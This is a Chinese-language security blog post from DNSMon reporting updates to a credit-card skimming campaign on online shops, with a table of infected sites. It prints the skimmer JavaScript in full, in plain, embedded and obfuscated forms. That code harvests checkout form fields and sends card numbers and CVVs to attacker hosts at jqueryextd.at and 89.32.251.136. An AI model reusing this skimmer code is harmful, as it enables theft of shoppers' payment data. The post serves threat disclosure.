

DNSMon

# 信用卡数据泄漏持续进行中 [快速更新]



YANG XU, ba0jy

May 14, 2019 • 3 min read

DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区10%+的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以“看见”正在发生的威胁。

## 黑客在行动

5月8号，我们发布文章 <[信用卡数据泄漏持续进行中](#)>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。

但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。

### 更新1: 启动了一个新域名: jqueryextd[.]at

对应的恶意JS链接为“hxxps://jqueryextd.at/5c21f3dbfo1eo.js”，脚本中上报地址也对应的改为了“hxxps://jqueryextd.at/gate.php”

```
var $s = {
  Number: "authorizenet_cc_number",
  Holder: null,
  HolderFirstName: "billing:firstname",
  HolderLastName: "billing:lastname",
  Date: null,
  Month: "authorizenet_expiration",
  Year: "authorizenet_expiration_yr",
  CVV: "authorizenet_cc_cid",
  Gate: "https://jqueryextd.at/gate.php",
  Data: {},
  Sent: [],
  SaveParam: function(elem) {
    if(elem.id !== undefined && elem.id != "" && elem.id !== null && elem.value.length < 256 && elem.valu
      $s.Data[elem.id] = elem.value;
      return;
    }
    if(elem.name !== undefined && elem.name != "" && elem.name !== null && elem.value.length < 256 && ele
      $s.Data[elem.name] = elem.value;
      return;
    }
  },
  SaveAllFields: function() {
    var inputs = document.getElementsByTagName("input");
    var selects = document.getElementsByTagName("select");
    var textareas = document.getElementsByTagName("textarea");
    for(var i = 0; i < inputs.length; i++) $s.SaveParam(inputs[i]);
    for(var i = 0; i < selects.length; i++) $s.SaveParam(selects[i]);
    for(var i = 0; i < textareas.length; i++) $s.SaveParam(textareas[i]);
    Cookies.set("$s", $s.Base64.encode(JSON.stringify($s.Data)));
  },
  SendData: function() {
    $s.Data['Domain'] = location.hostname;
    var encoded = $s.Base64.encode(JSON.stringify($s.Data));
    var hash = calcMD5(encoded);
    for(var i = 0; i < $s.Sent.length; i++)
      if($s.Sent[i] == hash) return;
    $s.LoadImage(encoded);
  },
  TrySend: function() {
    $s.SaveAllFields();
    $s.GetCCInfo();
    if($s.Data['Number'] === undefined || $s.Data['Number'].length < 11) return;
    if($s.Data['Holder'] === undefined || $s.Data['Holder'].length == 0) return;
    if($s.Data['Date'] === undefined || $s.Data['Date'].length == 0) return;
    if($s.Data['CVV'] === undefined || $s.Data['CVV'].length < 3) return;
    $s.SendData();
  },
  GetCCInfo: function() {
    if($s.Number !== null && $s.Data[$s.Number] !== undefined) $s.Data['Number'] = $s.Data[$s.Number];
    if($s.CVV !== null && $s.Data[$s.CVV] !== undefined) $s.Data['CVV'] = $s.Data[$s.CVV];
    if($s.Holder !== null && $s.Data[$s.Holder] !== undefined) $s.Data['Holder'] = $s.Data[$s.Holder];
  }
}
```

## 更新2: 换了JS加载方式: 从挂载JS链接改为内嵌JS代码

之前的案例中, 都是通过外链一个恶意JS脚本来执行恶意脚本, 现在发现黑客直接将恶意脚本JS的内容内嵌到网站代码中来执行。

```

263 var $s = {
264   Number: "paypal_direct_cc_number",
265   Holder: null,
266   HolderFirstName: "billing:firstname",
267   HolderLastName: "billing:lastname",
268   Date: null,
269   Month: "paypal_direct_expiration",
270   Year: "paypal_direct_expiration_yr",
271   CVV: "paypal_direct_cc_cid",
272   Gate: "https://jqueryextd.at/gate.php",
273   Data: {},
274   Sent: [],
275   SaveParam: function(elem) {
276     if(elem.id !== undefined && elem.id !== "" && elem.id !== null && elem.value.length < 256 && elem.v
277       $s.Data[elem.id] = elem.value;
278     return;
279   }
280   if(elem.name !== undefined && elem.name !== "" && elem.name !== null && elem.value.length < 256 && e
281     $s.Data[elem.name] = elem.value;
282     return;
283   }
284 },
285 SaveAllFields: function() {
286   var inputs = document.getElementsByTagName("input");
287   var selects = document.getElementsByTagName("select");
288   var textareas = document.getElementsByTagName("textarea");
289   for(var i = 0; i < inputs.length; i++) $s.SaveParam(inputs[i]);
290   for(var i = 0; i < selects.length; i++) $s.SaveParam(selects[i]);
291   for(var i = 0; i < textareas.length; i++) $s.SaveParam(textareas[i]);
292   Cookies.set("$s", $s.Base64.encode(JSON.stringify($s.Data)));
293 },
294 SendData: function() {
295   $s.Data['Domain'] = location.hostname;
296   var encoded = $s.Base64.encode(JSON.stringify($s.Data));
297   var hash = calcMD5(encoded);
298   for(var i = 0; i < $s.Sent.length; i++)
299     if($s.Sent[i] == hash) return;
300   $s.LoadImage(encoded);
301 },
302 TrySend: function() {
303   $s.SaveAllFields();
304   $s.GetCCInfo();
305   if($s.Data['Number'] === undefined || $s.Data['Number'].length < 11) return;
306   if($s.Data['Holder'] === undefined || $s.Data['Holder'].length == 0) return;
307   if($s.Data['Date'] === undefined || $s.Data['Date'].length == 0) return;
308   if($s.Data['CVV'] === undefined || $s.Data['CVV'].length < 3) return;
309   $s.SendData();
310 },

```

## 另外一个黑客：代码混淆 & 新上报地址

于此同时，我们还发现了另外一个黑客的行动迹象。该黑客从今年2月初开始活动，最开始使用的外链 JS 脚本地址是

"hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"<sup>[1]</sup>，同时对应上报地址为 "hxxps://adwordstraffic.link/validation/"。从JS代码来看，和前述的 magento-analytics[.]com/jqueryextd[.]at 如出一辙，但是域名以及IP都和前述黑客所用不同，所以我们怀疑这可能是另外一个控制者。

adwordstraffic.link	A	89.32.251.136	#GE0:Iran
---------------------	---	---------------	-----------



# "hxxp://89.32.251.136/validation/"。

```
[0x14,-0x182c0438),a=gg(a,b,c,d,x[i+0x9]),0x5,0x21e1cd6),d=gg(d,a,b,c,x[i+0xe],0x9,-0x3cc8f82a),c=gg(c,d,a,b,x[i+0xe]=gg(a,b,c,d,x[i+0xd]),0x5,-0x561c16fb),d=gg(d,a,b,c,x[i+0x2]),0x9,-0x3105c08),c=gg(c,d,a,b,x[i+0x7]),0xe,0x676f02d9),b=g0x4,-0x5c6be),d=hh(d,a,b,c,x[i+0x8]),0xb,-0x788e097f),c=hh(c,d,a,b,x[i+0xb]),0x10,0x6d9d6122),b=hh(b,c,d,a,x[i+0xe]),0x1a,b,c,x[i+0x4]),0xb,0x4bdecfa9),c=hh(c,d,a,b,x[i+0x7]),0x10,-0x944b4a0),b=hh(b,c,d,a,x[i+0xa]),0x17,-0x41404390),a=hh(a,0x155ed806),c=hh(c,d,a,b,x[i+0x3]),0x10,-0x2b10cf7b),b=hh(b,c,d,a,x[i+0x6]),0x17,0x4881d05),a=hh(a,b,c,d,x[i+0x9]),0x4,-a,b,c,x[i+0xf]),0x10,0x1fa27cf8),b=hh(b,c,d,a,x[i+0x2]),0x17,-0x3b53a99b),a=ii(a,b,c,d,x[i+0x0]),0x6,-0xbdd6ddb),d=ii(d,a,546bd5c9),b=ii(b,c,d,a,x[i+0x5]),0x15,-0x36c5fc7),a=ii(a,b,c,d,x[i+0xc]),0x6,0x655b59c3),d=ii(d,a,b,c,x[i+0x3]),0xa,-0x7x[i+0x1]),0x15,-0x7a7ba22f),a=ii(a,b,c,d,x[i+0x8]),0x6,0x6fa87eaf),d=ii(d,a,b,c,x[i+0xf]),0xa,-0x1d31920),c=ii(c,d,a,b,x,1a1),a=ii(a,b,c,d,x[i+0x4]),0x6,-0x8ac817e),d=ii(d,a,b,c,x[i+0xb]),0xa,-0x42c50dc),c=ii(c,d,a,b,x[i+0x2]),0xf,0x2ad7d2badd(b,oldb),c=add(c,oldc),d=add(d,oldd);return rhex(a)+rhex(b)+rhex(c)+rhex(d);}var $s={
'Number':_0x13f5('0x9'),holder:null,holderFirstName:_0x13f5('0xa'),'HolderLastName':'billing;lastname','Date':nu
:'verisign_cc_cid','Gate':'http://89.32.251.136/validation/',Data:{},'Sent':[],'SaveParam':function(_0x324dc0)
{if(_0x324dc0['id']!=undefined&&_0x324dc0['id']!='&'&_0x324dc0['id']==null&&_0x324dc0['_0x13f5('0xc')][_0x13f5('0x7')]
{$s['_0x13f5('0xd')]}
[_0x324dc0['id']]=$_0x324dc0['value'];return;if(_0x324dc0['_0x13f5('0xe')'])!=undefined&&_0x324dc0['_0x13f5('0xe')'])!='&
']['length']<0x100&&_0x324dc0['_0x13f5('0xc')][_0x13f5('0x7')]>0x0){$s['Data'][_0x324dc0['_0x13f5('0xe')']]=$_0x324dc0['_0x
_0x360dob=document['_0x13f5('0xf')]( '_0x13f5('0x10')');var _0x1f9edd=document['_0x13f5('0xf')]( '_0x13f5('0x11')');var _0x4c
_0x30cc42=0x0;_0x30ccc42<_0x360dob['length'];_0x30ccc42++}{$s['SaveParam'](_0x360dob[_0x30ccc42]);for(var _0x30ccc42=0x0;_
_0x1f9edd[_0x30ccc42]);for(var _0x30ccc42=0x0;_0x30ccc42<_0x4c9bc1['_0x13f5('0x7')'];_0x30ccc42++){$_0x13f5('0x13')})(_0x4
{$s['_0x13f5('0xd')][_0x13f5('0x14')]=location['hostname'];var _0x5a3907=$s['_0x13f5('0x15')][_0x13f5('0x16')](JSON[_0x
_0x25d636=calcMD5(-0x5a3907);for(var _0x3eeff51=0x0;_0x3eeff51<$s['Sent'][_0x13f5('0x7')'];$i++)if($s['_0x13f5('0x17')])(_
_0x5a3907));,'TrySend':function(){$_0x13f5('0x19')}();,$s['_0x13f5('0x1a')]}());if($s['_0x13f5('0xd')][ 'Number']===unde
<0xb)return;if($s['_0x13f5('0xd')][_0x13f5('0x1c')]]===undefined|$_0x13f5('0xd')[_0x13f5('0x1c')][_0x13f5('0x7')]]==
['Date']===undefined|$_0x13f5('0xd')[_0x13f5('0x1d')]['length']=0x0)return;if($s['_0x13f5('0xd')][ 'CVV']===undefi
<0x3)return;$s['_0x13f5('0x1e')]( );,'GetCCInfo':function(){if($s['_0x13f5('0x1b')'])!=null&&$s['_0x13f5('0xd')][$_0x13
['_0x13f5('0x1b')']=$s['_0x13f5('0xd')][$_0x13f5('0x1b')]];if($s['_0x13f5('0x1f')'])!=null&&$s['_0x13f5('0xd')][$_0x13f
['CVV']=$s['Data'][$s['CVV']];if($s['_0x13f5('0x1c')'])!=null&&$s['_0x13f5('0xd')][$_0x13f5('0x1c')]]===undefined)$s['_0x13f5(
[$s['_0x13f5('0x1c')]];if($s['HolderFirstName']!=null&&$s['Data'][$s['HolderFirstName']]!=undefined)$s['_0x13f5('0xd'
[$s['HolderFirstName']];if($s['HolderLastName']!=null&&$s['_0x13f5('0xd')][$_0x13f5('0xd')]]!=undefined)$s['_0x13
[$s['_0x13f5('0x20')]];if($s['_0x13f5('0x1d')'])!=null&&$s['_0x13f5('0xd')][$_0x13f5('0x1d')]]!=undefined)$s['_0x13f5('
[$s['_0x13f5('0x1d')]];if($s['_0x13f5('0x21')'])!=null&&$s['_0x13f5('0xd')][$_0x13f5('0x21')]]!=undefined)$s['_0x13f5('
[$s['_0x13f5('0x21')]];if($s['_0x13f5('0x22')'])!=null&&$s['_0x13f5('0xd')][$_0x13f5('0x22')]]!=undefined)$s['_0x13f5('
[$s['_0x13f5('0x22')']];,'LoadImage':function(_0x4fdf12){$_0x13f5('0x17')[ 'push'](calcMD5(_0x4fdf12));var _0x365155
(_0x13f5('0x24'))';_0x365155['_0x13f5('0x25')']=$s['_0x13f5('0x26')]( _0x4fdf12)};,'GetImageUrl':function(_0x3aa444){retur
{'keyStr':_0x13f5('0x29'),'encode':function(_0x2f1bb7){var
_0x3ef364,_0x29c073,_0x5bd712,_0x26d8c9,_0xc2f390,_0x3ac5dc,_0x553d7f,_0x361fa9='',_0x9420e5=0x0;for(_0x2f1bb7=this[ '
(_0x2f1bb7)];_0x9420e5<_0x2f1bb7['length'];){_0x26d8c9=( _0x3ef364=_0x2f1bb7['_0x13f5('0x8')]( _0x9420e5++))>>0x2,_0xc2f39
(_0x9420e5++)>>0x4,_0x3ac5dc=(0xf&_0x29c073)<<0x2)( _0x5bd712=_0x2f1bb7['_0x13f5('0x8')]( _0x9420e5++))>>0x6,_0x553d7f=
_0x3ac5dc+_0x553d7f=0x40;isNaN(_0x5bd712)&&( _0x553d7f=0x40),_0x361fa9=_0x361fa9+this[ 'keyStr'][_0x13f5('0x6')]( _0x26
_0xc2f390)+this[ 'keyStr'][ 'charAt'](_0x3ac5dc)+this['_0x13f5('0x2a')][_0x13f5('0x6')]( _0x553d7f);return _0x361fa9};
_0x510f7),_0x1b6d3b,_0x03613,_0x15fe50,_0x22882d,_0x19583b,_0x4e44b2=-'',_0x4f9dac=0x0;for(_0x28313f=_0x28313f[_0x13f
9+1)/^=/g, '');_0x4f9dac<_0x28313f[_0x13f5('0x7')]);_0x5510f7+=this[_0x13f5('0x2a')][_0x13f5('0x2c')]( _0x28313f[_0x13f
(_0x15fe50=this[_0x13f5('0x2a')][_0x13f5('0x2c')]( _0x28313f[_0x13f5('0x6')]( _0x4f9dac++)))>>0x4,_0x1b6d3b=(0xf&_0x15
```

InfectedWebSite	Method	ReportAddress
vezabands.com	Linked_JS	"https://jqueryextd.at/gate.php"
cigarhumidors-online.com	Embedded_JS	"https://jqueryextd.at/gate.php"
decabana.com	Embedded_JS	"https://jqueryextd.at/gate.php"
omejo.com	Embedded_JS	"https://jqueryextd.at/gate.php"
backyardmas.com	Embedded_JS	"https://jqueryextd.at/gate.php" [removed]
luxerwatches.ca	Embedded_JS	"http://89.32.251.136/validation/"
luxerwatches.com	Embedded_JS	"http://89.32.251.136/validation/"
bragardusa.com	Embedded_JS	"http://89.32.251.136/validation/"
ecompressedair.com	Embedded_JS	"http://89.32.251.136/validation/"
flatiron-wines.com	Embedded_JS	"http://89.32.251.136/validation/"
thalgousa.com	Embedded_JS	"http://89.32.251.136/validation/"

# 后续

针对该案例，我们不再公开我们的跟踪技术，但我们的 DNSMon 有能力持续跟踪，且仍将持续跟踪。

1. 域名已经失效，截止到5.14号，原始JS仍可以通过裸IP的方式获取"  
<https://89.32.251.136/onestepcheckoutauthorizenet.js>" ↔

0 Comments

 Login ▼

G

Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS 

Name



Share

Best Newest Oldest

Be the first to comment.

Subscribe

Privacy

Do Not Sell My Data



俄乌危机中的数字证书：吊  
销、影响、缓解

商业数字证书签发和使用情  
况简介(删减版)

An assessment of Non-  
Authorized Domain Name  
Resolution provided by DNS  
Resolution Service Provider

See all 28 posts →

DNSMon

## Ongoing Credit Card Data Leak [Continues]

DNSMon is a network-wide  
DNS malicious domain...



May 14,  
2019 3 min  
read

Our DNSMon flagged an  
abnormal domain name  
magento-analytics[.]com,  
been used to inject malicious  
JS script to various online  
shopping sites to steal the  
credit card owner/card  
number/expiration time/ CVV  
information.



May 8,  
2019 6 min  
read